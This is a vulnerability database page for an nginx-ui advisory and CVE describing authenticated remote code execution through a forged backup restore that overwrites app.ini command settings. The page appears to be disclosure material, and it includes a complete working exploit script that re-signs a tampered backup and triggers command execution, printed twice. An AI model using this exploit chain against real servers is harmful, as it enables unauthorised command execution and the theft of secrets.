Vulnerability-Lookup

GHSA-P393-CF76-4JMR

Vulnerability from github – Published: 2026-10-09 20:45 – Updated: 2026-10-09 20:45

Summary

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Details

Summary

An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test.

This was validated on nginx-ui 2.3.11 2(523) 6c86e5a5 in the local Docker container uozi/nginx-ui:latest.

Impact

An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored app.ini, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.

Affected Version / Environment

Version: nginx-ui 2.3.11 2(523) 6c86e5a5
Deployment: local Docker, uozi/nginx-ui:latest
Base URL used in validation: http://127.0.0.1:8080

Root Cause

/api/restore is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored app.ini into the live nginx-ui config path.

Relevant code paths:

api/backup/router.go: POST /api/restore
api/backup/restore.go: accepts security_token and uploaded backup file
internal/backup/manifest.go: derives backup signing key from supplied AES key
internal/backup/restore.go: restoreNginxUIConfig overwrites live app.ini
internal/nginx/exec.go: nginx command settings execute through shell-backed command paths

Proof of Concept

Assumptions:

nginx-ui is already running.
$TOKEN is a valid user JWT.
$CONTAINER is the local disposable Docker container name for cleanup and evidence checks.

export BASE='http://127.0.0.1:8080'
export TOKEN='<valid nginx-ui JWT>'
export CONTAINER='nginx-ui'

Run only against a disposable local instance.

set -eu

TMP=$(mktemp -d)
trap 'rm -rf "$TMP"' EXIT

docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"

curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \
  -H "Authorization: $TOKEN" \
  "$BASE/api/backup"

SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers")
KEY_B64=${SEC%%:*}
IV_B64=${SEC#*:}
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256)

mkdir -p "$TMP/outer" "$TMP/inner"
unzip -q "$TMP/backup.zip" -d "$TMP/outer"
openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
  -in "$TMP/outer/nginx-ui.zip" \
  -out "$TMP/nginx-ui.clear.zip"
unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"

python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys

p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False

for line in lines:
    s = line.strip()
    if s.startswith("[") and s.endswith("]"):
        if in_nginx and not written:
            out.append(cmd)
            written = True
        in_nginx = s.lower() == "[nginx]"
        seen_nginx = seen_nginx or in_nginx
    if in_nginx and s.startswith("TestConfigCmd"):
        if not written:
            out.append(cmd)
            written = True
        continue
    out.append(line)

if in_nginx and not written:
    out.append(cmd)
elif not seen_nginx:
    out.extend(["", "[nginx]", cmd])

p.write_text("\n".join(out) + "\n")
PY

(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .)
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
  -in "$TMP/nginx-ui.modified.clear.zip" \
  -out "$TMP/outer/nginx-ui.zip"

OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os

outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())

for entry in manifest["files"]:
    data = (outer / entry["name"]).read_bytes()
    entry["sha256"] = hashlib.sha256(data).hexdigest()
    entry["size"] = len(data)

manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)

signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY

(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)

curl -sS -X POST "$BASE/api/restore" \
  -H "Authorization: $TOKEN" \
  -F "restore_nginx=false" \
  -F "restore_nginx_ui=true" \
  -F "verify_hash=true" \
  -F "security_token=$SEC" \
  -F "backup_file=@$TMP/malicious-restore.zip"

sleep 10
for i in $(seq 1 80); do
  curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break
  sleep 0.5
done

curl -sS -X POST "$BASE/api/nginx/test" \
  -H "Authorization: $TOKEN"

docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'

# Cleanup and return the disposable instance to its original config.
docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini
docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce'
docker restart "$CONTAINER"

Expected output:

{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce

Cleanup

The PoC performs cleanup at the end. If interrupted, restore the original app.ini from a known-good backup, remove /tmp/nginx-ui-restore-rce, and restart nginx-ui before continuing other tests.

Patch Guidance

Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.

Severity

9.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.10-0.20260421071512-7864e378f5cf"
            },
            {
              "fixed": "1.9.10-0.20260728074146-a467ed652591"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:45:02Z",
    "nvd_published_at": "2026-10-09T15:17:10Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`.\n\nThis was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`.\n\n\n\n\n## Impact\n\nAn authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.\n\n## Affected Version / Environment\n\n- Version: `nginx-ui 2.3.11 2(523) 6c86e5a5`\n- Deployment: local Docker, `uozi/nginx-ui:latest`\n- Base URL used in validation: `http://127.0.0.1:8080`\n\n\n## Root Cause\n\n`/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path.\n\nRelevant code paths:\n\n- `api/backup/router.go`: `POST /api/restore`\n- `api/backup/restore.go`: accepts `security_token` and uploaded backup file\n- `internal/backup/manifest.go`: derives backup signing key from supplied AES key\n- `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini`\n- `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths\n\n## Proof of Concept\n\nAssumptions:\n\n- nginx-ui is already running.\n- `$TOKEN` is a valid user JWT.\n- `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks.\n\n```bash\nexport BASE=\u0027http://127.0.0.1:8080\u0027\nexport TOKEN=\u0027\u003cvalid nginx-ui JWT\u003e\u0027\nexport CONTAINER=\u0027nginx-ui\u0027\n```\n\nRun only against a disposable local instance.\n\n```bash\nset -eu\n\nTMP=$(mktemp -d)\ntrap \u0027rm -rf \"$TMP\"\u0027 EXIT\n\ndocker cp \"$CONTAINER\":/etc/nginx-ui/app.ini \"$TMP/app.ini.original\"\n\ncurl -sS -D \"$TMP/backup.headers\" -o \"$TMP/backup.zip\" \\\n  -H \"Authorization: $TOKEN\" \\\n  \"$BASE/api/backup\"\n\nSEC=$(awk \u0027BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub(\"\\r\",\"\"); print $2}\u0027 \"$TMP/backup.headers\")\nKEY_B64=${SEC%%:*}\nIV_B64=${SEC#*:}\nKEY_HEX=$(printf \u0027%s\u0027 \"$KEY_B64\" | base64 -d | xxd -p -c 256)\nIV_HEX=$(printf \u0027%s\u0027 \"$IV_B64\" | base64 -d | xxd -p -c 256)\n\nmkdir -p \"$TMP/outer\" \"$TMP/inner\"\nunzip -q \"$TMP/backup.zip\" -d \"$TMP/outer\"\nopenssl enc -d -aes-256-cbc -K \"$KEY_HEX\" -iv \"$IV_HEX\" -nosalt \\\n  -in \"$TMP/outer/nginx-ui.zip\" \\\n  -out \"$TMP/nginx-ui.clear.zip\"\nunzip -q \"$TMP/nginx-ui.clear.zip\" -d \"$TMP/inner\"\n\npython3 - \"$TMP/inner/app.ini\" \u003c\u003c\u0027PY\u0027\nfrom pathlib import Path\nimport sys\n\np = Path(sys.argv[1])\ncmd = \"TestConfigCmd = printf restored-rce \u003e/tmp/nginx-ui-restore-rce\"\nlines = p.read_text().splitlines()\nout = []\nin_nginx = False\nseen_nginx = False\nwritten = False\n\nfor line in lines:\n    s = line.strip()\n    if s.startswith(\"[\") and s.endswith(\"]\"):\n        if in_nginx and not written:\n            out.append(cmd)\n            written = True\n        in_nginx = s.lower() == \"[nginx]\"\n        seen_nginx = seen_nginx or in_nginx\n    if in_nginx and s.startswith(\"TestConfigCmd\"):\n        if not written:\n            out.append(cmd)\n            written = True\n        continue\n    out.append(line)\n\nif in_nginx and not written:\n    out.append(cmd)\nelif not seen_nginx:\n    out.extend([\"\", \"[nginx]\", cmd])\n\np.write_text(\"\\n\".join(out) + \"\\n\")\nPY\n\n(cd \"$TMP/inner\" \u0026\u0026 zip -qr \"$TMP/nginx-ui.modified.clear.zip\" .)\nopenssl enc -aes-256-cbc -K \"$KEY_HEX\" -iv \"$IV_HEX\" -nosalt \\\n  -in \"$TMP/nginx-ui.modified.clear.zip\" \\\n  -out \"$TMP/outer/nginx-ui.zip\"\n\nOUTER=\"$TMP/outer\" KEY_B64=\"$KEY_B64\" python3 \u003c\u003c\u0027PY\u0027\nfrom pathlib import Path\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport os\n\nouter = Path(os.environ[\"OUTER\"])\nkey = base64.b64decode(os.environ[\"KEY_B64\"])\nmanifest = json.loads((outer / \"manifest.json\").read_text())\n\nfor entry in manifest[\"files\"]:\n    data = (outer / entry[\"name\"]).read_bytes()\n    entry[\"sha256\"] = hashlib.sha256(data).hexdigest()\n    entry[\"size\"] = len(data)\n\nmanifest[\"files\"] = sorted(manifest[\"files\"], key=lambda e: e[\"name\"])\nmanifest_bytes = json.dumps(manifest, separators=(\",\", \":\")).encode()\n(outer / \"manifest.json\").write_bytes(manifest_bytes)\n\nsigning_key = hashlib.sha256(b\"nginx-ui-backup-signing-v1:\" + key).digest()\n(outer / \"manifest.sig\").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())\nPY\n\n(cd \"$TMP/outer\" \u0026\u0026 zip -qr \"$TMP/malicious-restore.zip\" manifest.sig nginx-ui.zip nginx.zip manifest.json)\n\ncurl -sS -X POST \"$BASE/api/restore\" \\\n  -H \"Authorization: $TOKEN\" \\\n  -F \"restore_nginx=false\" \\\n  -F \"restore_nginx_ui=true\" \\\n  -F \"verify_hash=true\" \\\n  -F \"security_token=$SEC\" \\\n  -F \"backup_file=@$TMP/malicious-restore.zip\"\n\nsleep 10\nfor i in $(seq 1 80); do\n  curl -sS -o /dev/null -H \"Authorization: $TOKEN\" \"$BASE/api/settings\" \u0026\u0026 break\n  sleep 0.5\ndone\n\ncurl -sS -X POST \"$BASE/api/nginx/test\" \\\n  -H \"Authorization: $TOKEN\"\n\ndocker exec \"$CONTAINER\" sh -lc \u0027cat /tmp/nginx-ui-restore-rce\u0027\n\n# Cleanup and return the disposable instance to its original config.\ndocker cp \"$TMP/app.ini.original\" \"$CONTAINER\":/etc/nginx-ui/app.ini\ndocker exec \"$CONTAINER\" sh -lc \u0027rm -f /tmp/nginx-ui-restore-rce\u0027\ndocker restart \"$CONTAINER\"\n```\n\nExpected output:\n\n```text\n{\"nginx_ui_restored\":true,\"nginx_restored\":false,\"hash_match\":true}\n{\"message\":\"\",\"level\":-1,\"test_scope\":\"global\"}\nrestored-rce\n```\n\n## Cleanup\n\nThe PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui before continuing other tests.\n\n## Patch Guidance\n\nRequire an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.",
  "id": "GHSA-p393-cf76-4jmr",
  "modified": "2026-10-09T20:45:02Z",
  "published": "2026-10-09T20:45:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p393-cf76-4jmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107806"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/a467ed652591fc0cd1b466a1ec751b493faef9f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite"
}

CVE-2026-107806 (GCVE-0-2026-107806)

Vulnerability from cvelistv5 – Published: 2026-10-09 15:00 – Updated: 2026-10-09 15:00

Title

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Summary

Nginx UI is a web user interface for the Nginx web server. From 2.3.8 until 2.5.0, an authenticated administrator with an active secure session can submit attacker-controlled portable backup key material and a matching manifest to POST /api/restore. The restore flow trusts the supplied key, decrypts attacker-controlled contents, and replaces the live app.ini, including protected nginx command settings such as TestConfigCmd. Triggering POST /api/nginx/test then executes the restored command in the Nginx UI runtime context, affecting confidentiality, integrity, and availability. This issue is fixed in version 2.5.0.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7642 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/0xJacky/nginx-ui/security/advi…	x_refsource_CONFIRM
https://github.com/0xJacky/nginx-ui/commit/a467ed…	x_refsource_MISC
https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
0xJacky	nginx-ui	Affected: >= 2.3.8, < 2.5.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "nginx-ui",
          "vendor": "0xJacky",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.3.8, \u003c 2.5.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Nginx UI is a web user interface for the Nginx web server. From 2.3.8 until 2.5.0, an authenticated administrator with an active secure session can submit attacker-controlled portable backup key material and a matching manifest to POST /api/restore. The restore flow trusts the supplied key, decrypts attacker-controlled contents, and replaces the live app.ini, including protected nginx command settings such as TestConfigCmd. Triggering POST /api/nginx/test then executes the restored command in the Nginx UI runtime context, affecting confidentiality, integrity, and availability. This issue is fixed in version 2.5.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.4,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "HIGH",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-09T15:00:55.470Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p393-cf76-4jmr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p393-cf76-4jmr"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/commit/a467ed652591fc0cd1b466a1ec751b493faef9f7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/commit/a467ed652591fc0cd1b466a1ec751b493faef9f7"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0"
        }
      ],
      "source": {
        "advisory": "GHSA-p393-cf76-4jmr",
        "discovery": "UNKNOWN"
      },
      "title": "Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-107806",
    "datePublished": "2026-10-09T15:00:55.470Z",
    "dateReserved": "2026-10-08T21:23:59.820Z",
    "dateUpdated": "2026-10-09T15:00:55.470Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-P393-CF76-4JMR

Summary

Impact

Affected Version / Environment

Root Cause

Proof of Concept

Cleanup

Patch Guidance

CVE-2026-107806 (GCVE-0-2026-107806)

Tags

Sightings

Nomenclature

Related by attack behaviour